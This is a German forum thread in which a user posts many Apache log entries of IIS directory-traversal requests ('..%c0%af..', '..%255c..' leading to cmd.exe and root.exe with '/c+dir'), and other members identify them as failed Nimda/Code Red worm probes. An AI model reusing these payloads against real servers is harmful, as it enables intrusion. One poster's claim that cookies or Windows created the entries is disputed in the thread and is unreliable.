was haben diese Zugriffe zu bedeuten ?

[xNeTworKx]

Hallo,
ich hab mir mal so spaßhalber die Accesslog meines lokalen Apache angesehen und dabei sind mir ein paar, besser gesagt, viele seltsame Zugriffe aufgefallen, die ich mir nicht erklären kann, aber ich glaub, daß es nichts gutes zu bedeuten hat, weil die Pfade gehen anscheinend irgendwo in mein System ? Das is nur ein Auschnitt, es sind mindestens 10 verschiedene IPs insgesamt, die ich hier aber trotzdem nicht posten will. Was hat das Ganze zu bedeuten ? Waren Leute unbefugt in meinem System ?

• • [25/Dec/2001:20:25:40 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [25/Dec/2001:20:25:42 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [25/Dec/2001:20:25:43 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335
• • [25/Dec/2001:20:25:45 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [25/Dec/2001:20:25:47 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [25/Dec/2001:20:25:49 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [25/Dec/2001:20:25:51 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [25/Dec/2001:20:25:52 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
• • [25/Dec/2001:20:25:54 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
• • [25/Dec/2001:20:25:56 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [25/Dec/2001:20:25:58 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [25/Dec/2001:21:32:43 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280
• • [25/Dec/2001:21:32:43 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278
• • [25/Dec/2001:21:32:44 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [25/Dec/2001:21:32:45 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [25/Dec/2001:21:32:45 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [25/Dec/2001:21:32:46 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [25/Dec/2001:21:32:46 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [25/Dec/2001:21:32:47 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335
• • [25/Dec/2001:21:32:47 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [25/Dec/2001:21:32:48 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [25/Dec/2001:21:32:48 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [25/Dec/2001:21:32:49 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [25/Dec/2001:21:32:49 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
• • [25/Dec/2001:21:32:50 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
• • [25/Dec/2001:21:32:51 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [25/Dec/2001:21:32:51 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [25/Dec/2001:21:50:15 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280
• • [25/Dec/2001:21:50:16 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278
• • [25/Dec/2001:21:50:18 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [25/Dec/2001:21:50:19 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [25/Dec/2001:21:50:20 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [25/Dec/2001:21:50:21 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [25/Dec/2001:21:50:22 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [25/Dec/2001:21:50:23 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335
• • [25/Dec/2001:21:50:25 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [25/Dec/2001:21:50:26 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [25/Dec/2001:21:50:27 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [25/Dec/2001:21:50:28 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [25/Dec/2001:21:50:30 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
• • [25/Dec/2001:21:50:31 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
• • [25/Dec/2001:21:50:32 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [25/Dec/2001:21:50:33 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [26/Dec/2001:10:03:10 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280
• • [26/Dec/2001:10:03:13 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278
• • [26/Dec/2001:10:03:14 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [26/Dec/2001:10:03:18 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [26/Dec/2001:10:03:19 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [26/Dec/2001:10:03:21 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [26/Dec/2001:10:03:43 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [26/Dec/2001:10:03:44 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335
• • [26/Dec/2001:10:03:45 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [26/Dec/2001:10:03:54 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [26/Dec/2001:10:04:07 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [26/Dec/2001:10:10:37 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280
• • [26/Dec/2001:10:10:38 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278
• • [26/Dec/2001:10:10:41 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [26/Dec/2001:10:10:48 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [26/Dec/2001:10:10:49 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [26/Dec/2001:10:10:50 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [26/Dec/2001:10:10:57 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
    HTTP/1.1" 200 2326
• • [26/Dec/2001:11:31:03 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280
• • [26/Dec/2001:11:31:05 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278
• • [26/Dec/2001:11:31:11 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [26/Dec/2001:11:31:15 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [26/Dec/2001:11:31:37 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [26/Dec/2001:11:31:39 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [26/Dec/2001:11:31:41 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [26/Dec/2001:11:31:45 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335
• • [26/Dec/2001:11:31:48 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [26/Dec/2001:11:33:19 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [26/Dec/2001:11:33:24 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [26/Dec/2001:11:33:26 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
• • [26/Dec/2001:11:33:32 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
• • [26/Dec/2001:11:33:33 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
• • [26/Dec/2001:11:33:34 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [26/Dec/2001:11:33:39 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [26/Dec/2001:13:01:21 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280
• • [26/Dec/2001:13:01:22 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278
• • [26/Dec/2001:13:01:23 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [26/Dec/2001:13:01:23 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [26/Dec/2001:13:01:24 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [26/Dec/2001:13:01:24 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [26/Dec/2001:13:01:28 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319
• • [26/Dec/2001:13:01:29 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335
• • [26/Dec/2001:13:07:02 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280
• • [26/Dec/2001:13:07:02 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278
• • [26/Dec/2001:13:07:03 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [26/Dec/2001:13:07:03 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
• • [26/Dec/2001:13:07:07 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [26/Dec/2001:13:20:13 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280
• • [26/Dec/2001:14:25:53 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280

[frank_eee]

re:Hi.

ganz einfach: ein virus hat versucht sich bei dir ein zu nisten. da es allerdings ein iis virus ist, sollte deinem apachen nicht viel passiert sein. der name des virus ist mir gerade entfallen, aber eine eingabe bei google hilt dir sicher weiter (einfach den request eintragen) ...

gruss,
frank_eee.

[Harry]

Tag

ganz einfach: ein virus hat versucht sich bei dir ein zu nisten. da es allerdings ein iis virus ist, sollte deinem apachen nicht viel passiert sein. der name des virus ist mir gerade entfallen, aber eine eingabe bei google hilt dir sicher weiter (einfach den request eintragen) ...

Das war der Nimda-Wurm. Wurde hier auch schon lang und breit diskutiert :-)

http://www.securityspace.com/smysecure/w32_nmda_amm.html

Ciao,

Harry

[xNeTworKx]

Hi,

Das war der Nimda-Wurm. Wurde hier auch schon lang und breit diskutiert :-)

HUH ? hab ich den jetzt vielleicht ? Und wie gibts das, ich hab NAV2002 ?

P.S. Sowas wie Frontpage verwend ich nicht, und ich denk nicht mal dran =)

[xNeTworKx]

Hab das jetzt auch mit dem LInk getestet, aber alles clean =) , hätt mich auch gewundert, da es von mindestens 10 - 15 verschiedenen IPs kommt.

[xNeTworKx]

Mich wundert aber eins noch ?
Wie kommt der Wurm auf meine IP, weil wenn ich manche IPs der Zugriffe im Browser eingebe, komme ich auf irgendwelche Internetseiten wie Zb CILO Bike Service huh ? oder auf so eine häßliche italienische Provider Seite ? Ich habe mit diese Seiten nie was zu tun gehabt.

[Sönke Tesch]

Mich wundert aber eins noch ?
Wie kommt der Wurm auf meine IP, weil wenn ich manche IPs der

Zufall, reiner Zufall. Das ist die Holzhammermethode: Irgendwo wird sich schon ein infizierbarer Server auftreiben lassen..

Gruß,
  soenk.e

[W. Pichler]

Mich wundert aber eins noch ?
Wie kommt der Wurm auf meine IP, weil wenn ich manche IPs der Zugriffe im Browser eingebe, komme ich auf irgendwelche Internetseiten wie Zb CILO Bike Service huh ? oder auf so eine häßliche italienische Provider Seite ? Ich habe mit diese Seiten nie was zu tun gehabt.

Schön find ichs. Die Programmierer des Wurms sind klüger als alle zusammen.

W. Pichler

[MIchael Schröpl]

Hi,

Wie kommt der Wurm auf meine IP, weil wenn ich manche IPs der Zugriffe
im Browser eingebe, komme ich auf irgendwelche Internetseiten wie Zb
CILO Bike Service huh ? oder auf so eine häßliche italienische Provider
Seite ?

Nimm Dir mal so eine IP-Adresse und schau mit dem SelfHTML Server Watch
     http://aktuell.de.selfhtml.org/sonst/serverid.htm
nach, was für ein Webserver dort läuft.

Es würde mich sehr wundern, wenn ein Apache dabei wäre.

Ich habe mit diese Seiten nie was zu tun gehabt.

Das brauchst Du auch gar nicht. Deine IP-Adresse liegt nur zufällig in
dem Bereich, den dieser Virus abgescannt hat.

Viele Grüße
      Michael

[Sönke Tesch]

Das war der Nimda-Wurm. Wurde hier auch schon lang und breit diskutiert :-)

HUH ? hab ich den jetzt vielleicht ? Und wie gibts das, ich hab NAV2002 ?

Die kamen von außen, wie du an deinen IPs ja bemerkt hast, wahrscheinlich von irgendeiner infizierten Maschine. Der Virus (oder jemand anders) versucht, über eine Lücke im Webserver einen Befehl auszuführen: In allen Anfragen taucht am Ende ein "/cmd.exe?/c+dir" auf.
Das Loch betrifft aber AFAIK nur den Internet Information Server von Microsoft, also nichtmal direkt dein Betriebssystem.

Da die Zugriffe als Fehler aufgelistet wurden, wurden sie natürlich auch nicht bei die ausgeführt und damit hast du dir auch nichts eingefangen.

Wenn du dir die Mühe machen willst, kannst du ja mal versuchen, die Eigentümer der IPs ausfindig zu machen und sie über das Problem zu informieren.

Gruß,
  soenk.e

[Christoph Schnauß]

hi Sönke,

Die kamen von außen, wie du an deinen IPs ja bemerkt hast, wahrscheinlich von irgendeiner infizierten Maschine.

Nicht unbedingt. Leider hat XnetworkerX die vielleicht problematischen IP-Adressen nicht mit gepostet. Es müssen nämlich nicht unbedingt IP's sein. In meinem System (WinXP) sieht es im Apache-log z.B. im Moment so aus:
c30s75h2.upc.chello.no - - [12/Jan/2002:18:17:27 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300

In diesem Fall hat ein cookie, das ich gut kenne, für diesen Eintrag gesorgt, erst vor wenigen Stunden.

Der Virus (oder jemand anders) versucht, über eine Lücke im Webserver einen Befehl auszuführen: In allen Anfragen taucht am Ende ein "/cmd.exe?/c+dir" auf.

Es war mit allergrößter Wahrscheinlichkeit "etwas anders"

Das Loch betrifft aber AFAIK nur den Internet Information Server von Microsoft, also nichtmal direkt dein Betriebssystem.

Das ist leider nicht ganz korrekt.

Da die Zugriffe als Fehler aufgelistet wurden, wurden sie natürlich auch nicht bei die ausgeführt und damit hast du dir auch nichts eingefangen.

Und _DAS_ ist der entscheidende Satz  ;-)

Grüße aus Berlin

Christoph S.

[xNeTworKx]

Nicht unbedingt. Leider hat XnetworkerX die vielleicht problematischen IP-Adressen nicht mit gepostet. Es müssen nämlich nicht unbedingt IP's sein. In meinem System (WinXP) sieht es im Apache-log z.B. im Moment so aus:
c30s75h2.upc.chello.no - - [12/Jan/2002:18:17:27 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300

Ich kann ja ein paar auflisten :
212.17.213.2
212.135.234.164
212.71.67.124
212.147.85.82
212.45.170.197
212.147.85.82
212.23.250.237
212.233.1.78
212.17.213.2
212.17.49.29
212.17.34.129
212.187.118.117
212.66.100.1

komisch das die alle mit 212 anfangen ? Das liegt sicher daran, daß ich auch 212 am Anfang habe

[Henryk Plötz]

Moin

komisch das die alle mit 212 anfangen ? Das liegt sicher daran, daß ich auch 212 am Anfang habe

Genau, die moderneren Würmer (die neuen Code Red-Versionen und Nimda) versuchen primäre sich im selben Subnetz auszubreiten, da da die Wahrscheinlichkeit eine infizierbare Maschine zu finden, größer ist: Windows-Kisten mit vorinstalliertem IIS tauchen in Firmen (leider) eher selten einzeln auf. Ausserdem werden so die Kisten die hinter einer Firewall stehen schneller vollständig infiziert, wenn der Wurm erstmal an der Firewall vorbei gekommen ist.

--
Henryk Plötz
Grüße aus Berlin

[Christoph Schnauß]

hallo

Ich kann ja ein paar auflisten :

212.147.85.82

diese hab ich mir mal zufällig rausgegriffen. Sie gehört einem "CILO BIKE SERVICE SA, 1032 Romanel Tel. [phone]"  -  und man muß sich dort einloggen. Die Seite setzt cookies ein ... also scheint es zumindest so, daß _diese_ IP und der dazu gehörende Eintrag von einem cookie herrührt.

Wirf einfach mal sämtliche cookies fort, die du in deinem System findest, vielleicht mindert das die Zahl solcher Einträge.

Christoph S.

[Henryk Plötz]

Moin

diese hab ich mir mal zufällig rausgegriffen. Sie gehört einem "CILO BIKE SERVICE SA, 1032 Romanel Tel. [phone]"  -  und man muß sich dort einloggen. Die Seite setzt cookies ein ... also scheint es zumindest so, daß _diese_ IP und der dazu gehörende Eintrag von einem cookie herrührt.

Öhm, wieso sollte ein Cookie das zwischen dem Browser auf Rechner a und dem Server auf Rechner b hin- und hergereicht wird, plötzlich zu einem Eintrag im Serverlog des Webservers auf Rechner a führen, oder habe ich da was falsch verstanden?

--
Henryk Plötz
Grüße aus Berlin

[Harry]

Hi Christoph.

Die kamen von außen, wie du an deinen IPs ja bemerkt hast, wahrscheinlich von irgendeiner infizierten Maschine.

Nicht unbedingt.

Aber fast.

Der Virus (oder jemand anders) versucht, über eine Lücke im Webserver einen Befehl auszuführen: In allen Anfragen taucht am Ende ein "/cmd.exe?/c+dir" auf.

Es war mit allergrößter Wahrscheinlichkeit "etwas anders"

War's nicht.

Lies das: http://www.symantec.com/avcenter/venc/data/[e-mail]

und dann das:
http://www.cert.org/advisories/CA-2001-26.html

und zu guter letzt noch das:
http://www.europe.f-secure.com/v-descs/bady.shtml

Dann können wir uns vielleicht noch haun ob's jetzt nun Nimda, Code Red oder beide waren (tippe auf letzteres).

Das Loch betrifft aber AFAIK nur den Internet Information Server von Microsoft, also nichtmal direkt dein Betriebssystem.

Das ist leider nicht ganz korrekt.

Das ist vollkommen korrekt.

Ciao,

Harry

[Sönke Tesch]

Die kamen von außen, wie du an deinen IPs ja bemerkt hast, wahrscheinlich von irgendeiner infizierten Maschine.

Nicht unbedingt. Leider hat XnetworkerX die vielleicht problematischen IP-Adressen nicht mit gepostet. Es müssen nämlich nicht unbedingt IP's sein.

Wenn er IP-Adressen schreibt, wird er wohl IP-Adressen meinen.

In meinem System (WinXP) sieht es im Apache-log z.B. im Moment so aus:
c30s75h2.upc.chello.no - - [12/Jan/2002:18:17:27 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300

Da ist keine IP drin, nur ein Domainname.

In diesem Fall hat ein cookie, das ich gut kenne, für diesen Eintrag gesorgt, erst vor wenigen Stunden.

Also mit Verlaub, das ist doch Unfug. Wenn du von -den- Cookies redest, nämlich denen im Browser, die können definitiv weder einen Eintrag im error.log noch im access.log erzeugen. Cookies sind völlig leblose Datenpakete, die als Ballast im Kopf eines HTTP-Requests wandern.
Die treten genauso wenig in Erscheinung wie die Kopfzeilen Last-Modified und Content-Type.

Was du da als Beispiel gelistet hast, ist nichts weiter, als das irgendein Programm auf einem norwegischen Rechner versucht hat, auf deinem System das Programm cmd.exe mit dem Parameter c+dir auszuführen.

Und das halte ich für sehr bedenklich. Du solltest dir IMHO wirklich ein paar Gedanken machen über das, was da passiert.

Der Virus (oder jemand anders) versucht, über eine Lücke im Webserver einen Befehl auszuführen: In allen Anfragen taucht am Ende ein "/cmd.exe?/c+dir" auf.

Es war mit allergrößter Wahrscheinlichkeit "etwas anders"

Wer, außer einem Hacker, sollte denn Interesse daran haben, auf einem völlig fremden System den Befehl dir auszuführen?

Gruß,
  soenk.e

[Michael Schröpl]

Hi Christoph,

In diesem Fall hat ein cookie, das ich gut kenne, für diesen Eintrag
gesorgt, erst vor wenigen Stunden.

ich bin schwer enttäuscht, daß ausgerechnet Du solchen haarstäubenden
Unfug verbreitest.

Der Virus (oder jemand anders) versucht, über eine Lücke im
Webserver einen Befehl auszuführen: In allen Anfragen taucht
am Ende ein "/cmd.exe?/c+dir" auf.
Es war mit allergrößter Wahrscheinlichkeit "etwas anders"

Es war mit absoluter Sicherheit _nichts_ anderes.

Das Loch betrifft aber AFAIK nur den Internet Information Server
von Microsoft, also nichtmal direkt dein Betriebssystem.
Das ist leider nicht ganz korrekt.

Doch, das ist korrekt, wie Du der Struktur der angeforderten URLs
ansehen kannst - wenn Du verstehst, was der Angreifer versucht hat.

Da die Zugriffe als Fehler aufgelistet wurden, wurden sie natürlich
auch nicht bei die ausgeführt und damit hast du dir auch nichts
eingefangen.
Und _DAS_ ist der entscheidende Satz  ;-)

Dies ist der einzige Satz Deiner Postings, dem ich so halbwegs zustimme.

Der HTTP-Status 404 zeigt, daß der Webserver den Zugriff nicht erfolgreich
ausgeführt, sondern mangels Existenz des angeforderten Objekts nureine
Fehlermeldung an den Angreifer geliefert hat.
Stünde in dieser Spalte "200", dann hätte er etwas gefunden.

Selbst das würde übrigens noch lange nicht bedeuten, daß der Server
erfolgreich infiziert wurde - dazu siehe ein anderes Posting in diesem
Thread.

Viele Grüße
      Michael

[Christoph Schnauß]

hallo,

HUH ? hab ich den jetzt vielleicht ? Und wie gibts das, ich hab NAV2002 ?

NEIN, du hast ihn nicht.

P.S. Sowas wie Frontpage verwend ich nicht, und ich denk nicht mal dran =)

Du mußt gar nicht daran denken. Aber du hast entweder WinNT als System  -  da wird der IIS standardmäßig mit installiert, und der baut auf dieselben Konstruktionen.
Oder du hast Win2000  -  dann hast du auch mindestens IE 5, und der sucht ebenfalls im System nach den _vti-Verzeichnissen. Dasselbe gilt für WinXP. Wenn du FrontPage einschließlich der "Extensions" installiert hättest, wäre die Liste mit den _vti-Zugriffen in dem Apache-log noch deutlich länger.

Andrerseits: ich hab mich auch hier im Forum schon mal geäußert. Wenn man mit Frontpage umgehen kann, ist das Ding gar nicht soooo verkehrt. Wie bei jeder Software kommts halt bloß darauf an, daß man mit ihren Fehlern und Schwächen umgehen kann und sich nicht von irgendwelchen Standardeinstellungen narren läßt.

Grüße aus Berlin

Christoph S.

[Harry]

Tag.

Du mußt gar nicht daran denken. Aber du hast entweder WinNT als System  -  da wird der IIS standardmäßig mit installiert, und der baut auf dieselben Konstruktionen.
Oder du hast Win2000  -  dann hast du auch mindestens IE 5, und der sucht ebenfalls im System nach den _vti-Verzeichnissen. Dasselbe gilt für WinXP. Wenn du FrontPage einschließlich der "Extensions" installiert hättest, wäre die Liste mit den _vti-Zugriffen in dem Apache-log noch deutlich länger.

Laß Dich nicht beunruhigen, aber das sind definitiv Spuren eines gescheiterten Nimda-Angriffes, weil dieser exakt nach den genannten Dateien cmd.exe und root.exe sucht.
cmd.exe mag zwar in c:\winnt\system32 existieren, aber root.exe gibt's auf Win32-Systemen nicht. Das ist (wenn ich mich recht erinnere) eine Kopie der cmd.exe, die der Virus anlegt (im Dateisystem des Servers) und dann für seine Zwecke benutzt.

Ciao,

Harry

[Christoph Schnauß]

hi,

verunsichert doch den armen Fragesteller nicht. Diese Einträge haben nix mit irgendwelchen Viren oder Würmern zu tun -  es mag allerdings sein, daß Nimda _auch_ so etwas produziert.
Ich habe auch die von Harry unten angegebene Adresse angesehen, wo ja in der Tat auf genau _diese_ Einträge hingewiesen wird. Ich habe selbstverständlich sofort mit den angegebenen links dort mein System "checken" lassen und für alle vier Prüfmethoden die Aussage "clean" erhalten, OBWOHL in meinem lokalen Apache-log im Moment genau dieselben Einträge wie bei xNeTworKx stehen. Außerdem laufen bei mir zwei tagesaktuelle Virenscanner (McAffee und Norton), beide haben an meinem System nichts auszusetzen, beide würde aber Nimda finden.

Also: bitte nicht arme aufrichtige Fragesteller mit Viruswarnungen verschrecken  -  auch wenn mal nen bißchen Spaß durchaus sein darf.

;-)

Christoph S.

[Calocybe]

... naemlich auf eben den genannten Nimda.

verunsichert doch den armen Fragesteller nicht. Diese Einträge haben nix mit irgendwelchen Viren oder Würmern zu tun -  es mag allerdings sein, daß Nimda _auch_ so etwas produziert.

Wer produziert denn noch sowas?

Ich habe auch die von Harry unten angegebene Adresse angesehen, wo ja in der Tat auf genau _diese_ Einträge hingewiesen wird. Ich habe selbstverständlich sofort mit den angegebenen links dort mein System "checken" lassen und für alle vier Prüfmethoden die Aussage "clean" erhalten, OBWOHL in meinem lokalen Apache-log im Moment genau dieselben Einträge wie bei xNeTworKx stehen.

Wenn Du den Apache verwendest, ist Dein System NATUERLICH clean, denn Nimda nutzt ja Luecken im IIS aus und kann Dein System daher nicht infizieren. (Es sei denn, Du benutzt IE5 und besuchst eine verseuchte Website.) Nimda fragt aber nicht vorher nach der Software auf dem Zielsystem, sondern faehrt einfach seine Attacke ab, und hineterlaesst entsprechende Spuren in den Logfiles.

So long

[Christoph Schnauß]

hallo Calo ;-)

Wer produziert denn noch sowas?

Irgendwas in einem Windows-System _kann_ sowas auch produzieren, genau weiß ich es auch nicht. Aber wenn du ein Beispiel erlaubst: ich habe auf einem niegelnagelneuen WinXP-Rechner, auf dem das gesamte Microsoft-Office-Paket installiert ist (einschließlich Frontpage) sowie der Apache, aber _nicht_ der IIS, genau dieselben Einträge gefunden, obwohl dieser Rechner nicht über eine Internet-Anbindung (auch nicht übers LAN) verfügt, kein mail-Konto im OE eingerichtet ist und keinerlei "älteres" Material aus irgendeinem Archiv oder 'ner CD aufgespielt war. Der Rechner wurde lediglich aus völlig neuen Teilen zusammengeschraubt, erhielt sein Betriebssystem und etwas Software, mehr nicht. Um den Apache einzurichten, hab ich lediglich (in diesem Fall mit Frontpage) drei HTML-Dokumente ins htdoc gelegt

Wenn Du den Apache verwendest, ist Dein System NATUERLICH clean, denn Nimda nutzt ja Luecken im IIS aus und kann Dein System daher nicht infizieren. (Es sei denn, Du benutzt IE5 und besuchst eine verseuchte Website.)

Richtig, auf "meinem" System gibts sowohl den Apache wie auch den IIS, allerdings als Browser IE 6. Die Virenscanner melden trotzdem nix, und irgendwelche der für Nimda beschriebenen Folgen sehe ich auch nicht.

Nimda fragt aber nicht vorher nach der Software auf dem Zielsystem, sondern faehrt einfach seine Attacke ab, und hineterlaesst entsprechende Spuren in den Logfiles.

Das will ich ja nicht bestreiten, aber ich bin ziemlich sicher, daß Nimda nicht der _alleinige_ Grund für solche Einträge sein muß.

So long

Ja ...

Christoph S.

[Henryk Plötz]

Moin

